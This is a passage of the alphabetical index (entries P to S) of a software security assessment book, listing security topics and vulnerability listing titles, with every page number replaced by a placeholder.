     file inclusion(? [????.]) 

     inline evaluation(? [????.]) 

     shell invocation(? [????.]) 2nd(? [????.]) 

     SQL injection queries(? [????.]) 

php_error_docref( ) function(? [????.]) 

phrack magazine(? [????.]) 

physical layer, network segmentation(? [????.]) 

PIDs (process IDs), UNIX(? [????.]) 

pipe squatting, Windows NT(? [????.]) 

pipe( ) system call(? [????.]) 

pipes 

     UNIX, 612, named pipes(? [????.]) 

    Windows NT 

         anonymous pipes(? [????.]) 

         creating(? [????.]) 

         impersonation(? [????.]) 

         IPC (interprocess communications)(? [????.]) 

         named pipes(? [????.]) 

         permissions(? [????.]) 

         pipe squatting(? [????.]) 

PKI (Public Key Infrastructure)(? [????.]) 

point-of-sale (PoS) system(? [????.]) 
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Pointer Arithmetic Vulnerability Example listing (6-29)(? [????.]) 

pointer updates, lists, errors(? [????.]) 

pointers(? [????.]) 

     arithmetic(? [????.]) 

     C programming language(? [????.]) 

     EBP (extended base pointer)(? [????.]) 

     ESP (extended stack pointer)(? [????.]) 

     function pointers, obfuscation(? [????.]) 

     outdated pointers(? [????.]) 2nd(? [????.]) 

         ProFTPD(? [????.]) 

     text strings, incrementing incorrectly(? [????.]) 

     vunerabilities(? [????.]) 

Pol, Joost(? [????.]) 

policies (security)(? [????.]) 

     access control policy(? [????.]) 

     breaches(? [????.]) 

     enforcing(? [????.]) 

pop( ) function(? [????.]) 

popen( ) function(? [????.]) 2nd(? [????.]) 

Portable Operating System Interface for UNIX (POSIX)(? [????.]) 

PoS (point-of-sale) system(? [????.]) 

positive decimal integers, binary notation, converting to(? [????.]) 

positive numbers, decimal conversion from binary notation(? [????.]) 

POSIX (Portable Operating System Interface for UNIX)(? [????.]) 2nd(? [????.]) 

     signals, handling(? [????.]) 

POST method(? [????.]) 

Postincrement Loop Vulnerability listing (7-21)(? [????.]) 

posting data, HTTP (Hypertext Transfer Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

posttest loops, pretest loops, compared(? [????.]) 

Practical Cryptography(? [????.]) 

Pragma header field (HTTP)(? [????.]) 

preassessment phase, code review(? [????.]) 

     application access(? [????.]) 

     information collection(? [????.]) 

     scoping(? [????.]) 

precedence, C programming language(? [????.]) 

precision, integer types(? [????.]) 

predefined registry keys, Windows NT(? [????.]) 

prepared statements(? [????.]) 

preprocessors, C programming language(? [????.]) 

Prescan Sign Extension Vulnerability in Sendmail listing (6-13)(? [????.]) 

prescan( ) function(? [????.]) 2nd(? [????.]) 

presentation layer, network segmentation(? [????.]) 

presentation logic(? [????.]) 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 1202 

preshared keys (PSKs), discovery of(? [????.]) 

Pretest Loop Vulnerability listing (7-22)(? [????.]) 

pretest loops, posttest loops, compared(? [????.]) 

primary groups, UNIX(? [????.]) 

printf( ) function(? [????.]) 2nd(? [????.]) 

Privilege Misuse in XFree86 SVGA Server listing (9-1)(? [????.]) 

privilege separation, SSH server, code audits(? [????.]) 

privileges(? [????.]) 

     UNIX(? [????.]) 

         capabilities(? [????.]) 

         directory permissions(? [????.]) 

         dropping permanently(? [????.]) 2nd(? [????.]) 

         dropping temporarily(? [????.]) 

         extensions(? [????.]) 

         file IDs(? [????.]) 

         file permissions(? [????.]) 

         file security(? [????.]) 

         files(? [????.]) 

         group ID functions(? [????.]) 

         management code audits(? [????.]) 

         programs(? [????.]) 

         user ID functions(? [????.]) 

         vunerabilities(? [????.]) 

     Windows NT sessions, access tokens(? [????.]) 

     XF86_SVGA servers, misuse of(? [????.]) 

problem domain logic(? [????.]) 

Problems with 64-bit Systems listing (7-42)(? [????.]) 

proc file system (UNIX)(? [????.]) 

procedures, stored(? [????.]) 

Process Explorer(? [????.]) 

process memory layout, buffer overflows(? [????.]) 

process outline, code review(? [????.]) 

process_file( ) function(? [????.]) 

process_login( ) function(? [????.]) 

process_string( ) function(? [????.]) 

process_tcp_packet( ) function(? [????.]) 

process_token_string( ) function(? [????.]) 

processes 

     multiple process, shared memory(? [????.]) 

     process synchronization(? [????.]) 

         interprocess synchronization(? [????.]) 

         lock matching(? [????.]) 

         synchronization object scoreboard(? [????.]) 

         System V synchronization(? [????.]) 
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         Windows NT(? [????.]) 

     signals(? [????.]) 

         asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         default actions(? [????.]) 

         handling(? [????.]) 

         interruptions(? [????.]) 2nd(? [????.]) 

         jump locations(? [????.]) 

         non-returning signal handlers(? [????.]) 2nd(? [????.]) 

         repetition(? [????.]) 

         sending(? [????.]) 

         signal handler scoreboard(? [????.]) 

         signal masks(? [????.]) 

         vunerabilities(? [????.]) 2nd(? [????.]) 

     UNIX(? [????.]) 2nd(? [????.]) 

         attributes(? [????.]) 

         child processes(? [????.]) 

         children(? [????.]) 

         creating(? [????.]) 

         environment arrays(? [????.]) 

         fork( ) system call(? [????.]) 

         groups(? [????.]) 

         interprocess communication(? [????.]) 

         open( ) function(? [????.]) 

         program invocation(? [????.]) 

         RPCs (Remote Procedure Calls(? [????.]) 

         sessions(? [????.]) 

         system file table(? [????.]) 

         terminals(? [????.]) 

         termination(? [????.]) 

     Windows NT(? [????.]) 

         DLL loading(? [????.]) 

         IPC (interprocess communications)(? [????.]) 

         loading(? [????.]) 

         services(? [????.]) 

         ShellExecute( ) function(? [????.]) 

         ShellExecuteEx( ) function(? [????.]) 

processing 

     IP fragmentation(? [????.]) 

     TCP (Transmission Control Protocol)(? [????.]) 

         options(? [????.]) 

         sequence number boundary condition(? [????.]) 

         sequence number representation(? [????.]) 

         state processing(? [????.]) 

         URG pointer processing(? [????.]) 
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         window scale option(? [????.]) 

processJob( )(? [????.]) 

processNetwork( ) function(? [????.]) 

processThread( ) function(? [????.]) 

profiling source code(? [????.]) 

ProFTPD, outdated pointers(? [????.]) 

program configuration files, UNIX(? [????.]) 

program files, UNIX(? [????.]) 

program invocation, UNIX(? [????.]) 

     direct invocation(? [????.]) 

     indirect invocation(? [????.]) 

programmatic SSI(? [????.]) 

programming interfaces, Windows NT, security descriptors(? [????.]) 

programming languages(? [????.]) 

     C(? [????.]) 

         arithmetic boundary conditions(? [????.]) 

         binary encoding(? [????.]) 

         bit fields(? [????.]) 

         bitwise shift operators(? [????.]) 

         byte order(? [????.]) 

         character types(? [????.]) 

         data storage(? [????.]) 

         floating types(? [????.]) 

         format strings(? [????.]) 

         function invocations(? [????.]) 

         implementation definied behavior(? [????.]) 

         integer types(? [????.]) 

         macros(? [????.]) 

         objects(? [????.]) 

         operators(? [????.]) 

         order of evaluation(? [????.]) 

         pointers(? [????.]) 

         precedence(? [????.]) 

         preprocessor(? [????.]) 

         signed integer boundaries(? [????.]) 

         standards(? [????.]) 

         stdio file interface(? [????.]) 

         structure padding(? [????.]) 

         switch statements(? [????.]) 

         type conversion vunerabilities(? [????.]) 

         type conversions(? [????.]) 

         types(? [????.]) 

         typos(? [????.]) 

         unary + operator(? [????.]) 
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         unary - operator(? [????.]) 

         unary operator(? [????.]) 

         undefinied behavior(? [????.]) 

         unsigned integer boundaries(? [????.]) 

     Perl, open( ) function(? [????.]) 

Programming Windows Security(? [????.]) 

programs, UNIX, privileged programs(? [????.]) 

promotions, integers(? [????.]) 

PROPFIND method(? [????.]) 

ProPolice, stack cookies(? [????.]) 

proposal payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

PROPPATCH method(? [????.]) 

proprietary state mechanisms, RPCs (Remote Procedure Calls)(? [????.]) 

protocol quirks(? [????.]) 

protocol state(? [????.]) 

protocols 

     application protocols(? [????.]) 

         ASN.1 (Abstract Syntax Notation)(? [????.]) 

         auditing(? [????.]) 2nd(? [????.]) 

         DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         HTTP (Hypertext Transfer Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 

         ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 2nd(? [????.]) 

     binary protocols, data type matching(? [????.]) 2nd(? [????.]) 

     FTP (File Transfer Protocol)(? [????.]) 

     HTTP (Hypertext Transport Protocol)(? [????.]) 

         authentication(? [????.]) 2nd(? [????.]) 

         cookies(? [????.]) 

         embedded path information(? [????.]) 

         forms(? [????.]) 

         headers(? [????.]) 

         methods(? [????.]) 2nd(? [????.]) 

         overview of(? [????.]) 

         parameter encoding(? [????.]) 

         query strings(? [????.]) 

         requests(? [????.]) 

         responses(? [????.]) 

         sessions(? [????.]) 2nd(? [????.]) 

         state maintenance(? [????.]) 

         versions(? [????.]) 

     network protocols(? [????.]) 

         IP (Internet Protocol)(? [????.]) 

         TCP (Transmission Control Protocol)(? [????.]) 

         TCP/IP(? [????.]) 

         UDP (User Datagram Protocol)(? [????.]) 
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     REST (Representational State Transfer)(? [????.]) 

     SOAP (Simple Object Access Protocol)(? [????.]) 

     SSL/TLS (Secure Sockets Layer/Transport Layer Security)(? [????.]) 

     text-based protocols, data type matching(? [????.]) 

proxies, COM (Component Object Model)(? [????.]) 

proxy firewalls(? [????.]) 

     packet-filtering firewalls, compared(? [????.]) 

Proxy-Authorization header field (HTTP)(? [????.]) 

pseudo-objects, Windows NT(? [????.]) 

PSKs (preshared keys), discovery of(? [????.]) 

PThreads API(? [????.]) 

     condition variables(? [????.]) 

     mutexes(? [????.]) 

public directories, UNIX(? [????.]) 

Public header field (HTTP)(? [????.]) 

public key encryption(? [????.]) 

Public Key Infrastructure (PKI)(? [????.]) 

public-facing administrative interfaces, Web-based applications(? [????.]) 

punctuation errors, loops(? [????.]) 

punycode(? [????.]) 

Purczynski, Wojciech(? [????.]) 

push( ) function(? [????.]) 

PUT method(? [????.]) 

putenv( ) function(? [????.]) 2nd(? [????.]) 

pw_lock( ) function(? [????.]) 

10.18 Q 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

QA testing(? [????.]) 

queries 

     indexed queries(? [????.]) 

     parameterized queries(? [????.]) 

     query strings(? [????.]) 

     SQL queries, metacharacters(? [????.]) 

query strings 

     HTTP(? [????.]) 
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     indexed queries(? [????.]) 

QUERY_STRING (environment variable)(? [????.]) 

QueryInterface( ) function(? [????.]) 

question mark operators(? [????.]) 

question structure, DNS (Domain Name System)(? [????.]) 

queues, message queues(? [????.]) 

10.19 R 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

Race Condition from Kerberos 4 in lstat( ) and open( ) listing (9-4)(? [????.]) 

Race Condition in access( ) and open( ) listing (9-3)(? [????.]) 

Race Condition in open( ) and lstat( ) listing (9-5)(? [????.]) 

Race Condition in the Linux Kernel's Uselib( ) listing (13-3)(? [????.]) 

race conditions 

     junction points(? [????.]) 

     synchroniciy(? [????.]) 

     threading(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     UNIX file system(? [????.]) 

         directory races(? [????.]) 

         ownership races(? [????.]) 

         permission races(? [????.]) 

         TOCTOU (time to check to time of use)(? [????.]) 

Rain Forest Puppy (RFP)(? [????.]) 

Range header field (HTTP)(? [????.]) 

raw memory devices(? [????.]) 

raw sockets(? [????.]) 

Raymond, Eric(? [????.]) 

RDBMS (relational database management system)(? [????.]) 

read( ) function(? [????.]) 

read_data( ) function(? [????.]) 

read_line( ) function(? [????.]) 

reading files, stdio file system(? [????.]) 

real groups, UNIX(? [????.]) 

real users (UNIX)(? [????.]) 2nd(? [????.]) 

realloc( ) function(? [????.]) 

Reallocation Double-Free Vulnerability listing (7-47)(? [????.]) 
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Reallocation Integer Overflow listing (7-40)(? [????.]) 

recursive name servers (DNS)(? [????.]) 

redirector, Windows NT(? [????.]) 

     session credentials(? [????.]) 

     SMB relay attacks(? [????.]) 

     UNC (Universal Naming Convention) paths(? [????.]) 

redundancy in Web applications(? [????.]) 

reentrancy 

     functions(? [????.]) 

     multithreaded programs(? [????.]) 

referentially opaque side effects, functions(? [????.]) 

referentially transparent side effects, functions(? [????.]) 

Referer header field (HTTP)(? [????.]) 

Referer request header(? [????.]) 

RegCloseKey( ) function(? [????.]) 

RegCreateKey( ) function(? [????.]) 

RegCreateKeyEx( ) function(? [????.]) 2nd(? [????.]) 

RegDeleteKey( ) function(? [????.]) 

RegDeleteKeyEx( ) function(? [????.]) 

RegDeleteValue( ) function(? [????.]) 

register_globals option (PHP)(? [????.]) 

registered function pointers, operational vulnerabilities, preventing(? [????.]) 

registering interfaces, RPC servers(? [????.]) 

registration, COM (Component Object Model) applications(? [????.]) 

registry, Windows NT(? [????.]) 

     key permissions(? [????.]) 

     key squatting(? [????.]) 

     predefined keys(? [????.]) 

     value squatting(? [????.]) 

RegOpenKey( )(? [????.]) 

RegOpenKey( ) function(? [????.]) 

RegOpenKeyEx( )(? [????.]) 

RegOpenKeyEx( ) function(? [????.]) 

RegQueryValue( ) function(? [????.]) 

RegQueryValueEx( ) function(? [????.]) 

relational database management system (RDBMS)(? [????.]) 

relational operators(? [????.]) 

relationships, variables(? [????.]) 

relinquishing UNIX privileges 

     permanently(? [????.]) 2nd(? [????.]) 

     temporarily(? [????.]) 

remediation support phase, code review(? [????.]) 2nd(? [????.]) 

remote client socket, OpenSSH(? [????.]) 

Remote Procedure Call (RPC) endpoints(? [????.]) 
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REMOTE_ADDR (environment variable)(? [????.]) 

REMOTE_HOST (environment variable)(? [????.]) 

REMOTE_IDENT (environment variable)(? [????.]) 

REMOTE_USER (environment variable)(? [????.]) 

Reopening a Temporary File listing (9-6)(? [????.]) 

repetition, signals(? [????.]) 

Representational State Transfer (REST)(? [????.]) 

request traffic, DNS (Domain Name System)(? [????.]) 

request variables(? [????.]) 

     parroted request variables(? [????.]) 

     synthesized request variables(? [????.]) 

REQUEST_METHOD (environment variable)(? [????.]) 

requests 

     HTTP(? [????.]) 

         Referer request header(? [????.]) 

     RPC servers, listening to(? [????.]) 

require( ) function(? [????.]) 

requirements definitions, SDLC (Systems Development Life Cycle)(? [????.]) 

requirements, software(? [????.]) 

rereading code, code audits(? [????.]) 

resetting TCP connections(? [????.]) 

resolvers, DNS (Domain Name System)(? [????.]) 

resource limits, UNIX(? [????.]) 

resource records, DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 

     conventions(? [????.]) 

responses (HTTP)(? [????.]) 

     spoofing for(? [????.]) 

REST (Representational State Transfer)(? [????.]) 

restricted accounts, operational vulnerabilities, preventing(? [????.]) 

restricted tokens, Windows NT sessions, access tokens(? [????.]) 

retention, process attributes, UNIX(? [????.]) 

retrieve_data( ) function(? [????.]) 

Retry-After header field (HTTP)(? [????.]) 

Return Value Checking of MultiByteToWideChar( ) listing (8-29)(? [????.]) 

return value testing, functions(? [????.]) 

return values, functions 

     finding(? [????.]) 

     ignoring(? [????.]) 

     misinterpreting(? [????.]) 

reuse 

     code(? [????.]) 

     UNIX temporary files(? [????.]) 

reverse-engineering applications(? [????.]) 

reviewing code(? [????.]) 
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     application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         bottom-up approach(? [????.]) 

         hybrid approach(? [????.]) 

         iterative process(? [????.]) 

         peer reviews(? [????.]) 

         planning(? [????.]) 

         reevaluation(? [????.]) 

         status checks(? [????.]) 

         top-down approach(? [????.]) 

         working papers(? [????.]) 

     code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         binary navigation tools(? [????.]) 

         CC (code comprehension) strategies(? [????.]) 2nd(? [????.]) 

         CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         debuggers(? [????.]) 

         dependency alnalysis(? [????.]) 

         desk checking(? [????.]) 

         DG (design generalization) strategies(? [????.]) 2nd(? [????.]) 

         fuzz testing tools(? [????.]) 

         internal flow analysis(? [????.]) 

         OpenSSH case study(? [????.]) 

         rereading code(? [????.]) 

         scorecard(? [????.]) 

         source code navigators(? [????.]) 

         subsystem alnalysis(? [????.]) 

         test cases(? [????.]) 2nd(? [????.]) 

     code navigation(? [????.]) 

         external flow sensitivity(? [????.]) 

         tracing(? [????.]) 

     documentation and analysis phase(? [????.]) 2nd(? [????.]) 

         findings summary(? [????.]) 

     preassessment phase(? [????.]) 

         application access(? [????.]) 

         information collection(? [????.]) 

         scoping(? [????.]) 

     process outline(? [????.]) 

     remediation support phase(? [????.]) 2nd(? [????.]) 

Rey, Enno(? [????.]) 

rfork( ) function(? [????.]) 

RFP (Rain Forest Puppy)(? [????.]) 

Right Shift Vulnerability Example listing (6-26)(? [????.]) 

right shift, operators(? [????.]) 2nd(? [????.]) 

risks, DREAD risk ratings(? [????.]) 

root directories, UNIX(? [????.]) 
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routers(? [????.]) 

RPC (Remote Procedure Calls) servers(? [????.]) 

     authentication(? [????.]) 

     endpoints(? [????.]) 

         binding to(? [????.]) 

     interfaces, registering(? [????.]) 

     requests, listening to(? [????.]) 

RpcBindingInqAuthClient( ) function(? [????.]) 

RPCs (Remote Procedure Calls) 

     UNIX(? [????.]) 

         authentication(? [????.]) 

         decoding routines(? [????.]) 

         definition files(? [????.]) 

    Windows NT 

         ACFs (application configuration files)(? [????.]) 

         application audits(? [????.]) 

         connections(? [????.]) 

         context handles(? [????.]) 

         DCE (Distributed Computing Environment) RPCs(? [????.]) 

         IDL file structure(? [????.]) 

         impersonation(? [????.]) 

         IPC (interprocess communications)(? [????.]) 

         MIDL (Microsoft Interface Definition Language)(? [????.]) 

         ONC (Open Network Computing) RPCs(? [????.]) 

         proprietary state mechanisms(? [????.]) 

         RPC servers(? [????.]) 

         threading(? [????.]) 

         transports(? [????.]) 

RpcServerListen( ) function(? [????.]) 

RpcServerRegisterAuthInfo( ) function(? [????.]) 

RpcServerRegisterIf( ) function(? [????.]) 

RpcServerRegisterIfEx( ) function(? [????.]) 

RpcServerUseProtseq( ) function(? [????.]) 

RpcServerUseProtseqEx( ) function(? [????.]) 

running code, auditing(? [????.]) 

runtime stack, activation records(? [????.]) 

Russinovich, Mark E.(? [????.]) 2nd(? [????.]) 

10.20 S 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 
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[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

sa_handler(? [????.]) 

Sacerdote, David(? [????.]) 

SAFER (Software Restriction Policies) API, Windows NT sessions, access tokens(? [????.]) 

SafeSEH(? [????.]) 

salt values(? [????.]) 

sandboxing(? [????.]) 

SAPI_POST_READER_FUNC( ) function(? [????.]) 

saved set groups (UNIX)(? [????.]) 

saved set users (UNIX)(? [????.]) 

saved set-user-IDs (UNIX)(? [????.]) 

saved-set-group-IDs (UNIX)(? [????.]) 

/sbin directory (UNIX)(? [????.]) 

scanf( ) functions(? [????.]) 

scanning(? [????.]) 

     TCP packets(? [????.]) 

Schneier, Bruce(? [????.]) 

SCM (Services Control Manager)(? [????.]) 

SCO(? [????.]) 

scoping, code review(? [????.]) 

scorecards, code audits(? [????.]) 

script URI(? [????.]) 

SCRIPT_NAME (environment variable)(? [????.]) 

scripts 

     server-side scripting(? [????.]) 

     XSS (cross-site scripting)(? [????.]) 

SDLC (Systems Development Life Cycle), code audits(? [????.]) 

SEARCH method(? [????.]) 

search_orders( ) function(? [????.]) 

second order injection(? [????.]) 

second-order injection attacks(? [????.]) 

secondary groups, UNIX(? [????.]) 

securable objects, Windows NT(? [????.]) 

secure channels(? [????.]) 

Secure Programming(? [????.]) 

Secure Socket Layer/Transport Layer Security (SSL/TLS)(? [????.]) 2nd(? [????.]) 

Secure Sockets Layer (SSL) [See SSL (Secure Sockets Layer)(? [????.]).] 

securelevels (BSD)(? [????.]) 

security 

     access control(? [????.]) 

     C/C++ problems(? [????.]) 
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     expectations(? [????.]) 

     OS and file system interaction(? [????.]) 

         execution(? [????.]) 

         file uploading(? [????.]) 

         null bytes(? [????.]) 

         path traversal(? [????.]) 

         programmatic SSI(? [????.]) 

     phishing and impersonation(? [????.]) 

     policies, enforcing(? [????.]) 

     SQL injection(? [????.]) 

         parameterized queries(? [????.]) 

         prepared statements(? [????.]) 

         second order injection(? [????.]) 

         stored procedures(? [????.]) 

         testing for(? [????.]) 

     threading issues(? [????.]) 

     Web environments(? [????.]) 

     XML injection(? [????.]) 

     XPath injection(? [????.]) 

     XSS (cross-site scripting)(? [????.]) 

security association (SA) payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? 

[????.]) 

Security Association and Key Management Protocol (ISAKMP) [See ISAKMP (Internet 

Security Association and Key Management Protocol)(? [????.]).] 

security breaches, policy breaches, compared(? [????.]) 

security descriptors, Windows NT(? [????.]) 

     access masks(? [????.]) 

     ACL inheritance(? [????.]) 

     ACL permissions(? [????.]) 

     programming interfaces(? [????.]) 

     strings(? [????.]) 

segmentation (network)(? [????.]) 

     layer 1 (physical)(? [????.]) 

     layer 2 (data link)(? [????.]) 

     layer 3 (network)(? [????.]) 

     layer 4 (transport)(? [????.]) 

     layer 5 (session)(? [????.]) 

     layer 6 (presentation)(? [????.]) 

     layer 7 (application)(? [????.]) 

segments, TCP (Transmission Control Protocol)(? [????.]) 

SEH (structured exception handling) attacks(? [????.]) 2nd(? [????.]) 

SelimpersonatePrivilege, IPC (interprocess communications)(? [????.]) 

semaphore sets(? [????.]) 

semaphores 
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     System V IPC(? [????.]) 

     Windows NT(? [????.]) 

semget( ) function(? [????.]) 

sending signals(? [????.]) 

Sendmail 

     crackaddr( ) function, vunerabilities(? [????.]) 

     prescan sign extension vunerability(? [????.]) 

     return values, update vunerability(? [????.]) 

Sendmail crackaddr( ) Related Variables Vulnerability listing (7-3)(? [????.]) 

Sendmail Return Value Update Vulnerability listing (7-32)(? [????.]) 

sentinel nodes(? [????.]) 

sequence numbers, TCP (Transmission Control Protocol)(? [????.]) 

Server header field (HTTP)(? [????.]) 

Server Message Blocks (SMBs)(? [????.]) 2nd(? [????.]) 

server-side includes (SSIs)(? [????.]) 

server-side scripting(? [????.]) 

server-side transformation(? [????.]) 

SERVER_NAME (environment variable)(? [????.]) 

SERVER_PORT (environment variable)(? [????.]) 

SERVER_PROTOCOL (environment variable)(? [????.]) 

SERVER_SOFTWARE (environment variable)(? [????.]) 

servers 

     automation servers(? [????.]) 

     name servers, DNS (Domain Name System)(? [????.]) 

     pipe squatting(? [????.]) 

    Web servers 

         APIs(? [????.]) 

         server-side scripting(? [????.]) 

         server-side transformation(? [????.]) 

         SSIs (server-side includes)(? [????.]) 

service image paths(? [????.]) 

service-oriented architecture (SOA)(? [????.]) 

services, Windows NT(? [????.]) 

servlets [See Java servlets(? [????.]).] 

session credentials, redirector(? [????.]) 

session layer, network segmentation(? [????.]) 

session tokens(? [????.]) 2nd(? [????.]) 

sessions 

     HTTP(? [????.]) 2nd(? [????.]) 

         security vulnerabilities(? [????.]) 

         session management(? [????.]) 

         session tokens(? [????.]) 

     UNIX, process sessions(? [????.]) 

     Windows NT(? [????.]) 2nd(? [????.]) 
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         access tokens(? [????.]) 2nd(? [????.]) 

         logon rights(? [????.]) 

         SIDs (security IDs)(? [????.]) 

setegid( ) function(? [????.]) 

setenv( ) function(? [????.]) 2nd(? [????.]) 

Setenv( ) Vulnerabilty in BSD listing (10-2)(? [????.]) 

seteuid( ) function(? [????.]) 

setgid (set-group-id), UNIX(? [????.]) 

setgid programs (UNIX)(? [????.]) 

setgid( ) function(? [????.]) 

setgroups( ) function(? [????.]) 

setjump( ) function(? [????.]) 

setregid( ) function(? [????.]) 

setresgid( ) function(? [????.]) 

setresuid( ) function(? [????.]) 

setreuid( ) function(? [????.]) 

setrlimit( ) function(? [????.]) 

SetThreadToken( ) function(? [????.]) 

settings, default settings, insecure defaults(? [????.]) 

setuid (set-user-id), UNIX(? [????.]) 

setuid programs (UNIX)(? [????.]) 

setuid root programs (UNIX)(? [????.]) 

setuid( ) function(? [????.]) 2nd(? [????.]) 

SGML (Standard Generalized Markup Language)(? [????.]) 

shadow password files, UNIX(? [????.]) 

shared key encryption(? [????.]) 

shared libraries(? [????.]) 

shared memory blocks(? [????.]) 

shared memory segments(? [????.]) 

     synchronization(? [????.]) 

shared memory, multiple processes(? [????.]) 

sharing files, UNIX(? [????.]) 

shatter attacks, Windows messaging(? [????.]) 

SHELL environment variable (UNIX)(? [????.]) 

shell environment variables, UNIX(? [????.]) 

shell histories, UNIX(? [????.]) 

shell invocation 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     Perl(? [????.]) 

     PHP(? [????.]) 2nd(? [????.]) 

shell login scripts, UNIX(? [????.]) 

shell logout scripts, UNIX(? [????.]) 
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Shell Metacharacter Injection Vulnerability listing (8-18)(? [????.]) 

shell metacharacters(? [????.]) 

shellcode(? [????.]) 2nd(? [????.]) 

Shellcoder's Handbook, The(? [????.]) 2nd(? [????.]) 

ShellExecute( ) function(? [????.]) 

ShellExecuteEx( ) function(? [????.]) 

shells, UNIX users(? [????.]) 

side-effects, functions 

     auditing(? [????.]) 

     referentially opaque side effects(? [????.]) 

     referentially transparent side effects(? [????.]) 

SIDs (security IDs), Windows NT(? [????.]) 

siglongjump( ) function(? [????.]) 

sign bit 

     arithmetic schemes(? [????.]) 

     signed integer types(? [????.]) 

Sign Extension Vulnerability Example listing (6-12)(? [????.]) 

sign extensions(? [????.]) 

     type conversions(? [????.]) 

         truncation(? [????.]) 

Sign-Extension Example listing (6-14)(? [????.]) 

Sign-Preserving Right Shift listing (6-25)(? [????.]) 

signal handler scoreboard(? [????.]) 

Signal Interruption listing (13-1)(? [????.]) 

signal marks(? [????.]) 

signal masks(? [????.]) 

Signal Race Vulnerability in WU-FTPD listing (13-2)(? [????.]) 

signal( ) function(? [????.]) 2nd(? [????.]) 

signals(? [????.]) 

     asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     default actions(? [????.]) 

     handling(? [????.]) 

     interruptions(? [????.]) 2nd(? [????.]) 

     jump locations(? [????.]) 

     non-returning signal handlers(? [????.]) 2nd(? [????.]) 

     repetition(? [????.]) 

     sending(? [????.]) 

     signal handler scoreboard(? [????.]) 

     signal masks(? [????.]) 

     vunerabilities(? [????.]) 2nd(? [????.]) 

signature payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

signatures, cryptographic signatures(? [????.]) 

Signed Comparison Example in PHP listing (6-23)(? [????.]) 

Signed Comparison Vulnerability Example listing (6-7)(? [????.]) 
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Signed Comparison Vulnerability listing (6-21)(? [????.]) 

signed integer types, C programming language(? [????.]) 

Signed Integer Vulnerability Example listing (6-5)(? [????.]) 

signed integers 

     boundaries(? [????.]) 

     conversions(? [????.]) 

         vunerabilities(? [????.]) 

     narrowing(? [????.]) 

     sign bit, arithmetic schemes(? [????.]) 

     widening(? [????.]) 

signing Active X controls(? [????.]) 

sigsetjump( ) function(? [????.]) 

SIGSTOP default action(? [????.]) 

simple binary CPs (candidate points)(? [????.]) 

simple lexical CPs (candidate points)(? [????.]) 

Simple Mail Transfer Protocol (SMTP)(? [????.]) 

Simple Nonterminating Buffer Overflow Loop listing (7-15)(? [????.]) 

Simple Object Access Protocol (SOAP)(? [????.]) 

simple type conversions, C programming language(? [????.]) 

single sign-on (SSO) system(? [????.]) 

single-threaded apartment (STA), COM (Component Object Model)(? [????.]) 

singly linked lists(? [????.]) 

site-restricted controls, Active X(? [????.]) 

size, operators, vunerabilities(? [????.]) 

Sizeof Misuse Vulnerability Example listing (6-24)(? [????.]) 

sizeof( ) function(? [????.]) 2nd(? [????.]) 

SMB relay attacks(? [????.]) 

SMBs (Server Message Blocks)(? [????.]) 2nd(? [????.]) 

SMTP (Simple Mail Transfer Protocol)(? [????.]) 

sniffing attacks(? [????.]) 

snort reassembly vunerability, TCP (Transmission Control Protocol)(? [????.]) 

snprintf( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

Snyder, Window(? [????.]) 

SOA (service-oriented architecture)(? [????.]) 

SOAP (Simple Object Access Protocol)(? [????.]) 

socketpair( ) function(? [????.]) 2nd(? [????.]) 

soft links, UNIX files(? [????.]) 2nd(? [????.]) 

software(? [????.]) 

     requirements(? [????.]) 

     security expectations(? [????.]) 

     specifications(? [????.]) 

     vulnerabilities(? [????.]) 2nd(? [????.]) 

         bugs(? [????.]) 

         classifying(? [????.]) 
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         data flow(? [????.]) 

         design vunerabilities(? [????.]) 

         environmental attacks(? [????.]) 

         exceptional conditions(? [????.]) 

         implementation vunerabilities(? [????.]) 

         input(? [????.]) 

         interfaces(? [????.]) 

         operational vunerabilities(? [????.]) 

         security policies(? [????.]) 

         trust relationships(? [????.]) 

software design(? [????.]) 

     abstraction(? [????.]) 

